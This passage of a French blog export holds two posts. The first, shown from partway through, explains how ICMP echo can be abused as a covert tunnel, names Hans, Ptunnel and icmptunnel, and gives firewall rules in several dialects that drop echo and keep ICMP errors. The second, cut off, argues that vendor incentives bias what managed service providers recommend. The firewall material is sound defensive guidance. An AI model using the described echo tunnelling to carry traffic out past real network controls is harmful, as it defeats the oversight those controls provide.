rencontrez le même mur par l\u0026rsquo;autre côté : l\u0026rsquo;interface interne ne peut pas descendre sous 1280 non plus, tandis que l\u0026rsquo;enveloppe ICMPv6 externe, 40 octets d\u0026rsquo;en-tête et 8 d\u0026rsquo;ICMPv6, dépense déjà le budget, donc le chemin doit disposer de 1280 plus la surcharge. Ratez-le à l\u0026rsquo;un ou l\u0026rsquo;autre endroit et le paquet est jeté, pas rogné pour rentrer : le tunnel se lève, les petites choses marchent, tout ce qui est de taille pleine se bloque. Donc IPv6 est la famille la plus sûre ici, pas la plus risquée. L\u0026rsquo;attaque qui tourne sur presque tout en IPv4 est fragile en IPv6, et échoue fermée. Plus sûre n\u0026rsquo;est pas la même chose que sûre, attention : le canal d\u0026rsquo;écho est ouvert en IPv6 aussi, donc la règle le jette toujours sur les deux familles — l\u0026rsquo;attaquant ne peut simplement pas s\u0026rsquo;appuyer sur IPv6 comme il s\u0026rsquo;appuie sur IPv4.\nLa récupération de ça est l\u0026rsquo;erreur ICMP que vous avez pris soin de garder. Packet Too Big est ce qui laisse un émetteur trouver la taille qui marche, et c\u0026rsquo;est une erreur, pas un écho, donc la règle que ce billet défend le laisse tranquille. Jetez le tunnel et gardez le diagnostic — c\u0026rsquo;est tout le montage, et le MTU est un endroit de plus où il gagne sa place.\nLa règle, resserrée à l\u0026rsquo;écho Le billet précédent donnait le jeu de règles de transit complet : autoriser les erreurs sous une limitation de débit, jeter l\u0026rsquo;écho. Je ne vais pas le réimprimer. Le changement que ce billet défend est une seule paire de lignes, et c\u0026rsquo;est la paire qui fait le travail :\n# permit the ICMP errors — these are load-bearing, keep them ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept # drop the tunnel — echo, both directions, both families ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop La règle n\u0026rsquo;est pas celle de Linux, cependant. C\u0026rsquo;est la même intention sur n\u0026rsquo;importe quel pare-feu digne du nom : autoriser les erreurs, plafonner leur débit, jeter l\u0026rsquo;écho dans les deux sens sur les deux familles. Alors la voici dans les dialectes que vous tenez plus probablement.\npf des BSD (pfSense, OPNsense, OpenBSD, FreeBSD) :\n# permit the errors; block echo both directions, both families pass in proto icmp icmp-type { unreach, timex, paramprob } pass in proto icmp6 icmp6-type { unreach, toobig, timex, paramprob, \\ routersol, routeradv, neighbrsol, neighbradv } block in proto icmp icmp-type { echoreq, echorep } block in proto icmp6 icmp6-type { echoreq, echorep } Gardez les types de découverte de voisins sur la ligne icmp6 ; ce sont ceux qui font tomber le segment si vous les perdez.\nCisco IOS (ACL étendues, appliquées au bord) :\nip access-list extended ICMP-EDGE permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem deny icmp any any echo deny icmp any any echo-reply ! ipv6 access-list ICMP6-EDGE permit icmp any any packet-too-big permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem permit icmp any any nd-ns permit icmp any any nd-na deny icmp any any echo-request deny icmp any any echo-reply En IPv4, le type d\u0026rsquo;écho est echo ; en IPv6, c\u0026rsquo;est echo-request. La limitation de débit vit dans le CoPP, pas dans l\u0026rsquo;ACL.\nJuniper Junos (filtre de pare-feu ; le filtre inet6 reflète ça et garde la découverte de voisins) :\nfirewall family inet filter icmp-edge { term errors { from { protocol icmp; icmp-type [ unreachable time-exceeded parameter-problem ]; } then { policer icmp-cap; accept; } } term drop-echo { from { protocol icmp; icmp-type [ echo-request echo-reply ]; } then discard; } } MikroTik RouterOS — jetez les deux types d\u0026rsquo;écho, puis acceptez le reste de l\u0026rsquo;ICMP, ce qui garde les erreurs et, en v6, la découverte de voisins :\n/ip firewall filter add chain=forward protocol=icmp icmp-options=8:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmp icmp-options=0:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmp action=accept comment=\u0026#34;keep the errors (add limit= to cap)\u0026#34; /ipv6 firewall filter add chain=forward protocol=icmpv6 icmp-options=128:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmpv6 icmp-options=129:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmpv6 action=accept comment=\u0026#34;keep errors and ND\u0026#34; Syntaxe différente, une seule règle. Autorisez les messages qui portent la vérité, jetez celui qui porte vos octets.\nDeux mises en garde, dont les deux vous mordront si vous survolez.\nJetez l\u0026rsquo;écho à la frontière, pas sur le fil entre un hôte et son propre routeur. En IPv6, la découverte de voisins est de l\u0026rsquo;ICMP — types 133 à 137, de nd-router-solicit à nd-redirect — et c\u0026rsquo;est la façon dont le segment fait le travail qu\u0026rsquo;ARP fait en IPv4. Portez un rejet d\u0026rsquo;écho sur une chaîne lien-local ou hôte sans garder ceux-là et le segment cesse de marcher en quelques minutes, et ça n\u0026rsquo;aura pas l\u0026rsquo;air d\u0026rsquo;un défaut de pare-feu. Filtrez l\u0026rsquo;écho là où le trafic quitte votre réseau, et laissez les chaînes internes tranquilles.\nJetez-le dans les deux sens et il cesse d\u0026rsquo;être utile dans un sens comme dans l\u0026rsquo;autre. Bloquer seulement la requête empêche vos hôtes d\u0026rsquo;être pingués mais laisse encore une réponse sortir, et un tunnel peut être bâti sur les seules réponses avec un peu plus d\u0026rsquo;effort. Jetez requête et réponse, en IPv4 et IPv6, et le canal est fermé des deux côtés.\nCe que jeter le ping vous coûte vraiment Soyez honnête sur la perte, parce qu\u0026rsquo;un contrôle que vous avez survendu est un contrôle que quelqu\u0026rsquo;un annule discrètement la première fois qu\u0026rsquo;il gêne.\nVous perdez ping à travers la frontière. Voilà le coût, énoncé en entier. C\u0026rsquo;est un vrai coût. ping est le réflexe, il est dans les doigts de tout le monde, et le lendemain de la mise en service quelqu\u0026rsquo;un dira que l\u0026rsquo;internet est en panne parce que son ping vers la passerelle expire. Il n\u0026rsquo;est pas en panne. Vous avez dit à la passerelle d\u0026rsquo;arrêter de répondre à une requête qui n\u0026rsquo;a jamais été qu\u0026rsquo;une commodité.\nLe test de joignabilité n\u0026rsquo;a pas besoin de l\u0026rsquo;écho. Une connexion TCP vers un port que vous savez ouvert vous dit que l\u0026rsquo;hôte est levé et que le chemin marche, et ça vous en dit plus qu\u0026rsquo;un ping parce que ça prouve qu\u0026rsquo;un service a répondu, pas juste un noyau :\n# \u0026#34;is it up and reachable?\u0026#34; without sending a single echo nc -zv \u0026lt;host\u0026gt; 443 # did the TCP handshake complete? traceroute -T -p 443 \u0026lt;host\u0026gt; # walk the path on TCP, read the errors back Les deux vont à cheval sur les erreurs ICMP que vous avez gardées et le TCP qu\u0026rsquo;un vrai service parle déjà. Aucun n\u0026rsquo;envoie d\u0026rsquo;écho. L\u0026rsquo;échange honnête est donc celui-ci : vous abandonnez l\u0026rsquo;outil le moins instructif de la boîte, celui qui répond « un noyau veut-il répondre » et rien de plus, et en échange vous fermez la seule partie de l\u0026rsquo;ICMP qu\u0026rsquo;un attaquant peut transformer en route hors de votre réseau. Le diagnostic vers lequel vous vous tournez vraiment un mauvais jour est tout de l\u0026rsquo;autre côté de la ligne, intact.\nLe Fisher-Price OS (Windows) n\u0026rsquo;est pas une échappatoire à ça Si vous exploitez une boutique Fisher-Price OS (Windows), vous lisez peut-être ceci comme le problème de quelqu\u0026rsquo;un d\u0026rsquo;autre. Ce n\u0026rsquo;en est pas un. Le risque est dans le protocole, pas dans le système d\u0026rsquo;exploitation. La norme oblige chaque hôte qui répond à un ping à vous rendre vos octets, et elle ne s\u0026rsquo;arrête pas pour demander d\u0026rsquo;abord ce que fait tourner l\u0026rsquo;hôte.\nUne boîte sous ce système fait un très bon bout de tunnel. Hans livre un client Windows, donc une machine interne peut être le bout client et faire sortir son trafic dans l\u0026rsquo;écho comme n\u0026rsquo;importe quelle autre. Ce qu\u0026rsquo;elle ne peut pas facilement être, c\u0026rsquo;est le bout serveur, parce que ça veut un équipement tun et un socket ICMP brut tenus ouverts, et sur ce système seuls les membres du groupe Administrateurs peuvent créer des sockets de type SOCK_RAW12 — les mots de Microsoft. Donc le serveur siège sur un vrai système d\u0026rsquo;exploitation, comme le mien, et la boîte derrière le pare-feu qui pingue discrètement sa sortie est celle qu\u0026rsquo;on vous a dit être sûre parce qu\u0026rsquo;elle était à l\u0026rsquo;intérieur.\nC\u0026rsquo;est le point pour quiconque le défend. La règle de frontière se moque de ce que fait tourner l\u0026rsquo;intérieur. Jetez l\u0026rsquo;écho là où le trafic quitte le réseau et chaque hôte derrière est couvert — ceux que vous administrez, et celui dont on vous a assuré qu\u0026rsquo;il se cachait derrière le NAT. Je ne fais pas tourner la chose, et je ne vais pas faire croire que le tunnel la respecte. Le correctif est la même règle, au même endroit, quel que soit le système sur lequel le point terminal a démarré.\nSi c\u0026rsquo;est la boîte elle-même que vous durcissez (la boîte, pas le réseau), PowerShell l\u0026rsquo;empêchera au moins de répondre à un ping ou d\u0026rsquo;en émettre pour son propre compte :\nforeach ($t in 8,0) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv4 Echo $t\u0026#34; -Protocol ICMPv4 -IcmpType $t -Direction Inbound -Action Block } foreach ($t in 128,129) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv6 Echo $t\u0026#34; -Protocol ICMPv6 -IcmpType $t -Direction Inbound -Action Block } Ajoutez des jumelles -Direction Outbound pour l\u0026rsquo;empêcher de tendre la main en client de tunnel plutôt que de rester là en cible, et laissez tranquilles les types d\u0026rsquo;erreur et de découverte de voisins ICMPv6, pour la raison qu\u0026rsquo;on les laisse tranquilles partout ailleurs sur cette page. Mais ne le prenez pas pour le contrôle. Un pare-feu d\u0026rsquo;hôte n\u0026rsquo;est pas un pare-feu de transit. Il durcit la boîte et ne change rien à la frontière, et la frontière est là où ça se ferme vraiment.\nPosez la question à qui exploite votre frontière, aujourd\u0026rsquo;hui Vous avez sans doute lu jusqu\u0026rsquo;ici en pensant à un réseau qui n\u0026rsquo;est pas le vôtre à changer. La plupart des gens le sont. Alors la chose utile à faire n\u0026rsquo;est pas de vous tourner vers le pare-feu, c\u0026rsquo;est de poser la question à qui le tient — votre propre équipe réseau, votre prestataire, ou l\u0026rsquo;éditeur dont la boîte siège au bord — et de la poser aujourd\u0026rsquo;hui, parce que c\u0026rsquo;est une porte ouverte depuis 1996 et une semaine de plus est un choix.\nDemandez franchement, et demandez en vous attendant à un regard vide, parce que je parierais tout le PIB du Royaume-Uni que personne là-bas n\u0026rsquo;a accordé à l\u0026rsquo;écho une seconde pensée. C\u0026rsquo;est le seul paquet que tout le monde autorise et que personne ne possède, et une règle sans propriétaire est justement celle qui est restée fausse pendant des années sans personne pour le remarquer.\nDemandez-leur quatre choses, dans ces mots, pour qu\u0026rsquo;il n\u0026rsquo;y ait pas de place pour opiner du chef sans rien changer :\nJetons-nous la requête et la réponse d\u0026rsquo;écho ICMP à la frontière, en IPv4 et IPv6 à la fois ? Pas « autorisons-nous l\u0026rsquo;ICMP » — le message précis, les deux sens, les deux familles. Si la réponse est une seule famille, ce n\u0026rsquo;est pas une réponse, parce que le tunnel se déplace juste vers l\u0026rsquo;autre. Autorisons-nous encore les erreurs ICMP ? Destination Unreachable, Time Exceeded, Parameter Problem, et Packet Too Big en IPv6, sous une limitation de débit plutôt qu\u0026rsquo;un blocage. S\u0026rsquo;ils ne savent pas dire, il y a une chance sur deux qu\u0026rsquo;ils aient soit tout laissé ouvert soit tout bloqué, et les deux sont faux. Avons-nous gardé la découverte de voisins IPv6 sur les chaînes internes ? Types 133 à 137. C\u0026rsquo;est celle qui transforme « on a durci l\u0026rsquo;ICMP » en un segment qui meurt en silence une semaine plus tard, et c\u0026rsquo;est l\u0026rsquo;erreur qu\u0026rsquo;un changement précipité commet. Montrez-moi la règle. Pas une déclaration de politique, la vraie ligne sur la vraie boîte, et la date à laquelle elle a été posée. Un contrôle que personne ne peut pointer du doigt est un contrôle qui n\u0026rsquo;est pas là. La boîte sera-t-elle arrivée de l\u0026rsquo;éditeur avec ça déjà fermé ? Elle ne le sera pas. Le défaut presque partout est de laisser passer l\u0026rsquo;écho et de le noter comme un compteur de paquets, ce qui est toute la raison pour laquelle le tunnel marche. Il n\u0026rsquo;exploite pas un bug, il utilise la configuration livrée en standard. Personne ne ferme une porte dont on ne lui a jamais dit qu\u0026rsquo;elle était ouverte.\nLa raison d\u0026rsquo;insister sur la formulation, c\u0026rsquo;est que le correctif paresseux à ce billet est « d\u0026rsquo;accord, on bloquera l\u0026rsquo;ICMP », et ce correctif est pire que le trou. Il casse la découverte du MTU de chemin et traceroute, il vous fera poursuivre des transferts bloqués sans rien dans les journaux, et en IPv6 il retire des parties de l\u0026rsquo;internet de la table entièrement. Si la personne à qui vous demandez se tourne vers ça, arrêtez-la. L\u0026rsquo;instruction est étroite exprès : jeter l\u0026rsquo;écho, garder les erreurs, garder la découverte de voisins. À ce titre, quiconque exploite des pare-feu pour vivre devrait pouvoir faire ce changement en un après-midi et vous dire que c\u0026rsquo;est fait.\nEt s\u0026rsquo;ils sont un prestataire que vous payez pour exploiter ça : un fournisseur qui ne sait pas vous dire votre propre posture écho-et-erreurs de tête, ou qui répond « on bloque l\u0026rsquo;ICMP » comme si c\u0026rsquo;était l\u0026rsquo;option sûre, vient de vous dire quelque chose sur le reste du parc. La prochaine fois qu\u0026rsquo;un défaut siégera entre deux réseaux qui disent tous deux être propres, rappelez-vous lequel des deux ne savait pas décrire ce que son propre pare-feu fait à un ping.\nLe diagnostic qui n\u0026rsquo;en fut jamais un Ping a fait un bon parcours. Mike Muuss l\u0026rsquo;a écrit en 1983 pour vérifier si un hôte répondait, l\u0026rsquo;a nommé d\u0026rsquo;après le sonar, et il a si bien fait ce seul travail qu\u0026rsquo;il est devenu la première chose vers laquelle tout le monde se tourne et la dernière que quiconque questionne. Quarante ans après, c\u0026rsquo;est de la mémoire musculaire, et la mémoire musculaire est justement la façon dont un risque survit. Personne ne réexamine la chose qu\u0026rsquo;il a toujours faite.\nMais regardez ce que c\u0026rsquo;est vraiment, dépouillé de l\u0026rsquo;habitude. Un message qui ne porte aucun fait sur le réseau, auquel chaque hôte est obligé de répondre avec vos propres octets rendus, qui tourne sur un protocole que les contrôles n\u0026rsquo;inspectent pas et que les journaux ne lisent pas. Tout ce qui le fait paraître inoffensif — ce n\u0026rsquo;est qu\u0026rsquo;un diagnostic, ce n\u0026rsquo;est qu\u0026rsquo;un keepalive, tout le monde l\u0026rsquo;autorise — est la même chose qui en fait la voie la plus propre hors d\u0026rsquo;un réseau filtré qui existe. L\u0026rsquo;industrie bloque les erreurs ICMP, qui portent la vérité et cassent le réseau quand elles disparaissent, et laisse passer l\u0026rsquo;écho, qui porte tout ce que vous y chargez. Elle a le protocole exactement à l\u0026rsquo;envers.\nLe correctif n\u0026rsquo;est pas malin. Gardez les messages qui vous disent la vérité, et jetez celui qui rend juste vos octets. Ça vous coûte une commande à laquelle vous n\u0026rsquo;aviez de toute façon aucune raison de faire confiance pour un diagnostic, et ça ferme une porte qui est restée ouverte depuis 1996, documentée dans un fanzine de hackers, empaquetée depuis deux décennies, et laissée grande ouverte parce que la fermer voudrait dire que quelqu\u0026rsquo;un ne pourrait pas ping. Sachez ce qu\u0026rsquo;une chose coûte, pas ce qu\u0026rsquo;elle est affichée. Ping est affiché à rien. Il vous coûte le seul canal que vous ne pouvez pas voir.\nLoki, Phrack 49 — a command channel carried inside ICMP echo payloads, 1996.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPtunnel — carries a TCP session inside ICMP echo.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 792 — ICMP : « the data received in the echo message must be returned in the echo reply message ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4443 — ICMPv6 : echo data « MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4890 — the ICMPv6 messages a firewall must not drop.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1812 — router requirements : Time Exceeded is a MUST, named for traceroute.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHans — IP over ICMP echo tunnel, by Friedrich Schöller.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nicmptunnel — tunnels IP traffic through ICMP echo and reply packets, by Dhaval Kapil.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnoyau Linux — IP sysctl — icmp_echo_ignore_all : « the kernel will ignore all ICMP ECHO requests sent to it ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux commit e6f86b0f — « ipv6: Add icmp_echo_ignore_all support for ICMPv6 » — the IPv6 equivalent, by Virgile Jarry.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8200 §5 — IPv6 requires every link to have an MTU of at least 1280 octets.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — TCP/IP raw sockets — « only members of the Administrators group can create sockets of type SOCK_RAW ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/networking/ping-the-diagnostic-tool-that-opens-a-whole-lot-more/","summary":"Ping, pas le reste de l\u0026rsquo;ICMP, est le risque : l\u0026rsquo;écho est un canal auquel chaque hôte doit répondre avec vos propres octets, si bien qu\u0026rsquo;un réseau qui « n\u0026rsquo;autorise que le ping » a déjà un VPN complet vers l\u0026rsquo;extérieur. On parcourt d\u0026rsquo;abord la menace — ce qu\u0026rsquo;elle coûte à votre sortie, et comment un visiteur sur votre WiFi ou une prise ethernet non verrouillée peut en ouvrir un — puis trois tunnels qui marchent, bâtis sur le seul ping (Hans, icmptunnel, et un court en Python avec AES-128), les pièges du MTU et de l\u0026rsquo;IPv6, et la règle qui le ferme : jeter l\u0026rsquo;écho, garder les erreurs, sur nftables, pf, Cisco, Junos, MikroTik et Windows.","title":"Ping : l'outil de diagnostic qui ouvre bien plus que ça"},{"content":" Is Your MSP Lying To You — 3 parts\nVotre MSP vous ment-il pour vous vendre des produits premium ?you are here Ce que votre MSP vous a construit, et qui d\u0026#39;autre peut l\u0026#39;atteindre Quand ça casse, qui le porte vraiment ? Réponse courte : certains d\u0026rsquo;entre eux mentent.\nLa réponse plus longue est pire, et c\u0026rsquo;est celle qui vaut votre temps. La plupart n\u0026rsquo;ont jamais besoin de mentir, parce que l\u0026rsquo;arrangement le fait pour eux. Ils sont payés par les fournisseurs dont ils recommandent les produits, à des taux qui bougent selon le produit que vous prenez et la quantité qui en est consommée, et personne n\u0026rsquo;est obligé d\u0026rsquo;en souffler mot. Mettez une entreprise dans cette position pendant trente ans et la malhonnêteté devient inutile. La liste s\u0026rsquo;écrit toute seule.\nDe là où vous êtes, au bout de la facture, un mensonge et un processus truqué coûtent exactement la même chose.\nCette partie parle de la vente : qui paie la personne qui vous conseille, ce qui n\u0026rsquo;atteint jamais la liste, pourquoi la meilleure réponse est celle qu\u0026rsquo;ils ne vous offriront pas, et ce que vous louez sans le savoir. La partie deux parle de ce qui se construit une fois la paperasse signée et de qui d\u0026rsquo;autre peut l\u0026rsquo;atteindre. La partie trois parle de qui la porte quand la chose s\u0026rsquo;écroule, et de ce que partir coûte. Une partie, je l\u0026rsquo;ai vue arriver. Le reste est au dossier public avec le nom d\u0026rsquo;un régulateur dessus, et chaque affirmation ici porte un lien.\nRien de tout ça n\u0026rsquo;exige que vous soyez technique. Vous n\u0026rsquo;avez qu\u0026rsquo;à demander.\nLe correctif facile est l\u0026rsquo;indice Prenez un cas courant. Un télétravailleur ne parvient pas à faire tenir à son portable un tunnel VPN jusqu\u0026rsquo;au bureau. Le prestataire regarde et revient avec quelque chose à changer côté domicile. Pas de leur côté. Côté domicile.\nLe tunnel est du L2TP sur IPsec vers un Cisco Meraki MX, et ce qui cloche réellement est la traversée du NAT. Le client négocie encore sur UDP 500 au lieu de passer à UDP 4500, parce que le NAT-T n\u0026rsquo;a jamais été configuré côté bureau. Le RFC 3947 est net là-dessus : une fois un NAT détecté, l\u0026rsquo;initiateur « MUST set both UDP source and destination ports to 4500 » — doit fixer les ports source et destination UDP à 4500. Il ne le fait jamais. Le tunnel meurt dans le NAT. À chaque fois.\nLa réponse est posée sur leur propre pare-feu, éteinte. Le même MX fait tourner AnyConnect, qui « will attempt to connect using both TLS, and DTLS (Datagram TLS) over TCP and UDP 443 respectively » — tentera de se connecter en TLS et en DTLS (Datagram TLS) sur TCP et UDP 443 respectivement. Du TLS ordinaire sur un port ordinaire. Un NAT comprend ça parfaitement — il n\u0026rsquo;y a rien à traverser et rien à configurer — et ça marcherait l\u0026rsquo;après-midi où quelqu\u0026rsquo;un l\u0026rsquo;activerait.\nPersonne ne prend une capture de paquets. Personne ne vérifie sur quel port le client parle réellement. Ce sont les deux premières choses qu\u0026rsquo;on fait, et elles en finiraient en une minute.\nMaintenant un second cas du même prestataire, et il n\u0026rsquo;y a de réseau nulle part dedans. Une imprimante d\u0026rsquo;étiquettes, et une étiquette d\u0026rsquo;expédition qui doit sortir au bon format. C\u0026rsquo;est tout ce que demande la requête. C\u0026rsquo;est aussi la seule chose qu\u0026rsquo;une imprimante d\u0026rsquo;étiquettes fait.\nLa réponse revenue était que ce n\u0026rsquo;est pas possible.\nC\u0026rsquo;était une option dans le pilote d\u0026rsquo;impression. Une case, dans une boîte de dialogue de réglages, sur un logiciel qu\u0026rsquo;ils administrent, et tout le travail était de la cocher et de lancer une impression de test. Personne n\u0026rsquo;avait à acheter quoi que ce soit. Personne n\u0026rsquo;avait à concevoir quoi que ce soit. Ils ne voulaient pas la cocher.\nRemarquez que « pas possible » est une réponse sans aucune mesure dedans, et c\u0026rsquo;est la seule réponse qui ferme un ticket sans que personne ait à faire quoi que ce soit. Elle devient aussi plus dure à revenir en arrière plus elle tient, parce qu\u0026rsquo;aller regarder maintenant revient à admettre qu\u0026rsquo;il y avait quelque chose à regarder.\nC\u0026rsquo;est la forme à guetter, et c\u0026rsquo;est la même forme deux fois. Le défaut est gratuit à corriger, le correctif est posé à l\u0026rsquo;intérieur de matériel que le prestataire possède déjà et est déjà payé pour faire tourner, et ce qui revient à la place est soit une consigne de changer quelque chose côté client, soit une déclaration nette que la chose ne peut pas être faite. Quand la réponse bon marché est balayée sans mesure, on ne vous donne pas un diagnostic. On vous gère.\nUn ingénieur qui a trouvé le défaut vous dit quel est le défaut. Quelqu\u0026rsquo;un qui ne l\u0026rsquo;a pas trouvé vous dit que ça ne peut pas se faire, ou vous dit quoi acheter.\nQui paie votre conseiller Commencez par l\u0026rsquo;argent, parce que tout le reste le suit.\nQuand votre MSP recommande un hyperscaler, il n\u0026rsquo;est pas neutre. La propre documentation de facturation de Microsoft décrit le partner earned credit — un crédit appliqué contre les charges de votre consommation Azure, gagné par le partenaire qui détient les droits d\u0026rsquo;admin pour la gérer. Votre facture monte, il en récupère une part. À côté siègent les marges de revendeur, les paliers de volume, les rabais de certification, les fonds de développement de marché et les objectifs trimestriels, à travers chaque fournisseur de la pile, pas seulement celui-là.\nRien de tout ça n\u0026rsquo;est secret, et rien n\u0026rsquo;est contre aucune règle. C\u0026rsquo;est publié, c\u0026rsquo;est normal, et c\u0026rsquo;est comme ça que le canal marche depuis trente ans.\nDeux personnes paient votre conseiller, et une seule est vous Vous Demande quel produit acheter Votre prestataire Écrit la liste où vous choisirez Le fournisseur Fixe ce que rapporte une recommandation des frais une option un rabais Rabais, marge, enregistrement d'affaire, objectif de vente Rien de ça n'a à vous être mentionné Un conseiller financier ne peut être payé que par le client (FCA Handbook, COBS 6.1A). Un conseiller informatique peut être payé par les deux, et rien ne l'oblige à dire qui paie le plus. Deux parties paient pour la même recommandation. Une seule d\u0026rsquo;entre elles est assise dans la réunion, et un seul des paiements doit être mentionné. Voici le morceau qui devrait vous déranger. Personne n\u0026rsquo;a à vous parler de rien de tout ça — ni du taux, ni des objectifs, ni du crédit. La personne qui recommande le produit est payée par l\u0026rsquo;entreprise qui fabrique le produit, à un taux qui dépend du produit dans lequel elle vous embarque et de la quantité que vous consommez ensuite, et il n\u0026rsquo;y a aucune obligation nulle part d\u0026rsquo;en mettre un mot dans la proposition que vous lisez.\nUne autre industrie a regardé exactement cet arrangement et l\u0026rsquo;a interdit. Sous les règles de la FCA un conseiller financier ne peut « only be remunerated for the personal recommendation … by adviser charges » — n\u0026rsquo;être rémunéré pour la recommandation personnelle que par des honoraires de conseil — et ne doit « not solicit or accept … any other commissions, remuneration or benefit » — ni solliciter ni accepter aucune autre commission, rémunération ou avantage. Vous payez votre conseiller. Le fournisseur du produit ne le fait pas. Cette règle existe parce que le régulateur a compris une chose évidente. On ne peut pas distinguer le conseil de la vente quand le vendeur est payé par le fabricant.\nL\u0026rsquo;informatique n\u0026rsquo;a jamais eu ce règlement de comptes. La CMA a passé le marché du cloud au crible et a regardé de près l\u0026rsquo;engagement de dépense, la sortie de données et le changement de fournisseur, mais personne n\u0026rsquo;a encore regardé la couche du milieu. La structure assise entre vous et le fournisseur, tenant à la fois un devoir envers vous et un objectif de leur part.\nIl vaut aussi d\u0026rsquo;appeler la chose par son nom.\nUne incitation est un paiement d\u0026rsquo;une partie pour façonner une décision sur laquelle une partie différente s\u0026rsquo;appuie. C\u0026rsquo;est le mécanisme, quel que soit le nom du programme sur le site du fournisseur. Le fournisseur paie, le client s\u0026rsquo;appuie, et la recommandation bouge.\nC\u0026rsquo;est coercitif du côté du MSP aussi, ce qui est la moitié que personne ne regarde. Ratez le palier et vous ne renoncez pas simplement à une prime. Votre prix d\u0026rsquo;achat monte sur tout ce que vous vendez les douze mois suivants. Donc la pression n\u0026rsquo;est pas « vendez ceci et recevez une friandise ». C\u0026rsquo;est « vendez ceci ou toute votre entreprise devient plus chère ». Personne dans cette position ne choisit librement, et ce n\u0026rsquo;a jamais été conçu pour ressembler à un choix.\nLe droit anglais connaît déjà la forme de ceci. Le Bribery Act 2010 n\u0026rsquo;a besoin d\u0026rsquo;aucun agent public à proximité — l\u0026rsquo;article 3 couvre « any activity connected with a business » — toute activité liée à une entreprise — et il mord là où la personne accomplissant cette activité est censée le faire « in good faith » — de bonne foi —, ou « impartially » — impartialement —, ou est « in a position of trust » — en position de confiance. Lisez ces trois conditions. Puis lisez la proposition sur votre bureau.\nJe n\u0026rsquo;accuse le commercial de personne d\u0026rsquo;une infraction. Ce qui se passe est plus terne que ça et plus dur à corriger. L\u0026rsquo;arrangement siège à un cheveu du bon côté de la ligne, et la seule chose qui l\u0026rsquo;y tient est que personne n\u0026rsquo;a jamais établi qu\u0026rsquo;un MSP vous doit l\u0026rsquo;impartialité en premier lieu. Le conseil financier l\u0026rsquo;a établi, et la commission s\u0026rsquo;est arrêtée. Personne ne l\u0026rsquo;a établi ici, donc ce n\u0026rsquo;est pas le cas.\nTraitez une incitation de forme légère de corruption et les gens se hérissent. Mettez le paiement, l\u0026rsquo;objectif et la liste sur la même page, puis demandez comment l\u0026rsquo;appeler autrement.\nLe petit fournisseur n\u0026rsquo;est jamais nommé La liste des fournisseurs qu\u0026rsquo;on vous a montrée n\u0026rsquo;est pas la liste des fournisseurs qui existent. C\u0026rsquo;est la liste avec laquelle votre MSP a déjà un compte.\nPour entrer sur cette liste un fournisseur a besoin d\u0026rsquo;un programme partenaire. Paliers, accréditation, rabais, enregistrement d\u0026rsquo;affaires, un distributeur prêt à porter la ligne. C\u0026rsquo;est une machine. La faire tourner coûte de l\u0026rsquo;argent qui n\u0026rsquo;a rien à voir avec la qualité du produit. Il y a plein de petites structures dans ce pays qui bâtissent de meilleurs matériels et logiciels que le logo sur votre proposition, et elles n\u0026rsquo;y apparaîtront jamais, parce qu\u0026rsquo;elles ont douze salariés et pas d\u0026rsquo;équipe canal.\nRegardez ce que la machine fait à la recommandation.\nL\u0026rsquo;enregistrement d\u0026rsquo;affaires lie votre MSP à un fournisseur avant que quiconque vous ait parlé de besoins. Ils enregistrent l\u0026rsquo;opportunité, ils obtiennent un meilleur prix d\u0026rsquo;achat et une protection contre un autre partenaire qui vous coterait la même chose, et à partir de ce moment il y a une raison d\u0026rsquo;orienter la conception vers ce fournisseur qui n\u0026rsquo;a rien à voir avec votre entreprise.\nLes paliers font le reste. Or, platine, quel que soit le nom cette année, le statut tient au volume annuel, et il fixe leur remise sur tout le reste qu\u0026rsquo;ils vendent toute l\u0026rsquo;année. Votre projet peut être ce qui les fait passer la barre. On ne vous le dira pas.\nPuis le distributeur décide de ce qui reste. Un MSP achète via un distributeur, le distributeur porte les lignes sur lesquelles il a des accords, et un fournisseur qui n\u0026rsquo;est pas sur la liste de prix peut tout aussi bien ne pas exister.\nCe que cela vous coûte n\u0026rsquo;est pas abstrait. Un fournisseur plus petit vous mettra en général au téléphone avec les gens qui ont écrit le logiciel plutôt qu\u0026rsquo;avec un script de premier niveau, changera quelque chose parce que vous le lui avez demandé, et vous rend encore des comptes l\u0026rsquo;année prochaine parce que vous êtes une vraie part de son revenu au lieu d\u0026rsquo;une erreur d\u0026rsquo;arrondi. Rien de tout ça n\u0026rsquo;entre dans une matrice de comparaison, et rien de tout ça ne paie de rabais à personne.\nAlors demandez ce qu\u0026rsquo;il faudrait pour mettre une de ces petites structures sur la liste. La réponse vous dit pour qui la liste a été dressée.\nEt le mandat vient d\u0026rsquo;un seul pays Regardez les logos sur la proposition. L\u0026rsquo;hyperviseur, le cloud, le matériel réseau, le pare-feu, la suite bureautique, le CRM, la cible de sauvegarde, la surveillance. Presque tous américains.\nRien de tout ça n\u0026rsquo;est un verdict sur la qualité. C\u0026rsquo;est ce qui arrive quand la route vers le marché est un programme canal, parce que les entreprises assez grandes pour en faire 